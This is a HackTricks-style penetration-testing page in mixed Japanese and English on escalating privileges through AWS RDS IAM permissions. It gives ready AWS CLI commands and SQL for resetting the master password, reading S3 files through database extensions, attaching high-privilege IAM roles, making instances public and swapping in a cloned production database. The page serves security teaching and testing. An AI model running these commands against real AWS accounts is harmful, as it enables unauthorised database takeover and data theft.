# AWS - RDS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## RDS - リレーショナルデータベースサービス

For more information about RDS check:

{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
{{#endref}}

### `rds:ModifyDBInstance`

その権限があれば、攻撃者は**マスターユーザーのパスワードを変更**し、データベース内のログインを変更できます:
```bash
# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> **データベースに接続できる必要があります**（通常はネットワーク内部からのみアクセス可能です）。

**Potential Impact:** データベース内の機密情報を見つけることができる。

### rds-db:connect

According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.

### RDS Role の IAM 権限を悪用する

#### Postgresql (Aurora)

> [!TIP]
> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**.

まず、このデータベースが他のAWSサービスにアクセスするために使われたかどうかを確認できます。インストールされている拡張機能を確認して調べられます:
```sql
SELECT * FROM pg_extension;
```
もし **`aws_s3`** のようなものを見つけたら、このデータベースは **S3 に対する何らかのアクセス権** を持っていると想定できます（他にも **`aws_ml`** や **`aws_lambda`** のような拡張があります）。

また、**`aws rds describe-db-clusters`** を実行する権限があれば、フィールド **`AssociatedRoles`** で **クラスターに IAM ロールがアタッチされているかどうか** を確認できます。もしあれば、そのデータベースは **他の AWS サービスにアクセスするよう準備されている** と考えられます。ロールの**名前**に基づいて（あるいはロールの**権限**を取得できれば）、データベースがどのような追加アクセスを持っているか**推測**できます。

今、**bucket 内のファイルを読む**には、フルパスを知っている必要があります。次のコマンドで読み取れます：
```sql
// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;
```
もし**raw AWS credentials**を持っていれば、それらを使ってS3のデータに次のようにアクセスすることもできます:
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql **S3にアクセスするためにパラメータグループ変数を変更する必要はありません**。

#### Mysql (Aurora)

> [!TIP]
> mysql の中でクエリ **`SELECT User, Host FROM mysql.user;`** を実行して **`rdsadmin`** というユーザーが存在する場合、**AWS RDS mysql db** 内にいると推定できます。

mysql 内で **`show variables;`** を実行し、**`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** のような変数に値が設定されていれば、データベースが S3 データにアクセスする準備ができていると判断できます。

また、**`aws rds describe-db-clusters`** を実行する権限があれば、クラスターに **関連付けられたロール** があるか確認できます（通常は AWS サービスへのアクセスを意味します）。

では、**バケット内のファイルを読み取る**にはフルパスを知っている必要があります。以下のように読み取れます:
```sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`

これらの権限 (`rds:AddRoleToDBCluster` と `iam:PassRole`) を持つ攻撃者は、既存の RDS インスタンスに指定したロールを**追加することができます**。これにより攻撃者は**機密データにアクセスしたり**、インスタンス内のデータを変更したりできる可能性があります。
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**潜在的な影響**: RDS インスタンス内の機密データへのアクセスやデータの不正な変更が発生する可能性があります。\
一部の DB（例えば Mysql）は追加の設定が必要で、role ARN を aprameter groups に指定する必要がある点に注意してください。

### `rds:CreateDBInstance`

この権限のみで、攻撃者は**new instance inside a cluster**を作成できます。対象のクラスタは既に存在し、**IAM role** がアタッチされている必要があります。マスター ユーザーのパスワードを変更することはできませんが、新しいデータベースインスタンスをインターネットに公開してしまう可能性があります:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
```
### `rds:CreateDBInstance`, `iam:PassRole`

> [!NOTE]
> TODO: テスト

権限 `rds:CreateDBInstance` と `iam:PassRole` を持つ攻撃者は、**指定したロールをアタッチした新しい RDS インスタンスを作成することができます**。攻撃者はその後、インスタンス内の**機密データにアクセス**したり、データを改ざんしたりする可能性があります。

> [!WARNING]
> アタッチする role/instance-profile のいくつかの要件（詳細は[**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)）:

> - プロファイルはあなたのアカウントに存在している必要があります。
> - プロファイルは、Amazon EC2 が assume する権限を持つ IAM ロールを含んでいる必要があります。
> - instance profile 名と関連する IAM ロール名はプレフィックス `AWSRDSCustom` で始まる必要があります。
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
**潜在的な影響**: RDS インスタンス内の機密データへのアクセス、またはデータの不正な変更。

### `rds:AddRoleToDBInstance`, `iam:PassRole`

これらの権限（`rds:AddRoleToDBInstance` と `iam:PassRole`）を持つ攻撃者は、既存の RDS インスタンスに**指定したロールを追加する**ことができます。これにより攻撃者はインスタンス内の**機密データにアクセス**したり、データを変更したりできる可能性があります。

> [!WARNING]
> この操作は、DB インスタンスがクラスターの外にある必要があります。
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```
**潜在的な影響**: RDS インスタンス内の機密データへのアクセスや、データの不正な改変が行われる可能性があります。

### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`

これらの権限を持つ攻撃者は、本番データベースをクローン（Blue）し、クローン（Green）に高権限の IAM ロールを付与して、switchover を使って本番環境と置き換えることができます。これにより、攻撃者はデータベースの権限を昇格させ、他の AWS リソースへ不正にアクセスできるようになります。
```bash
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
```
**潜在的影響**: 本番データベース環境の完全な乗っ取り。スイッチオーバー後、データベースは昇格した権限で動作し、データベース内部から他の AWS サービス（例：S3、Lambda、Secrets Manager）への不正なアクセスを可能にします。

{{#include ../../../../banners/hacktricks-training.md}}
